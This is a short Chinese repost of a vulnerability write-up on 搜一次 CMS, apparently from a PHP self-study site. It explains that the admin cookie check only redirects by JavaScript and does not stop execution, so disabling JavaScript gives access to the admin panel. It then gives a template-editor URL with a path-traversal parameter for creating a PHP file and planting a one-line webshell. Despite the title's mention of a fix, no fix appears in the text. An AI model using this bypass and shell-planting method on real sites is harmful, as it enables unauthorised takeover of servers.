网站地图    收藏   

主页 > 后端 > 网站安全 >

搜一次cms php绕过验证缺陷及修复 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 作者:z2681From:90sec漏洞文件 admin 目录下的admin_loginstate.php看代码if(empty($_COOKIE[#39;S_AdminID#39;])){ echo scriptwindow.location=#39;admin_login.php#39;/script; exit; }els......

作者:z2681
 
 
From:90sec
 
漏洞文件  admin 目录下的admin_loginstate.php
 
看代码
 
if(empty($_COOKIE['S_AdminID'])){
  echo "<script>window.location='admin_login.php'</script>";
  exit;
  }
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){
  echo "<script>window.parent.location='admin_login.php'</script>";
  }
?>
 
很简单的看出来是cookie验证  我们直接禁止JS可直接进后台
 
进后台后简单的说下拿shell的方法
 
/admin/admin_template.php?action=templist&path=../skins/index/html/&tempname=默认模版&file=qingshen.php90
 
直接访问这个url 然后写个一句话就可以了 目录当然是在/skins/index/html/ 目录下的

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论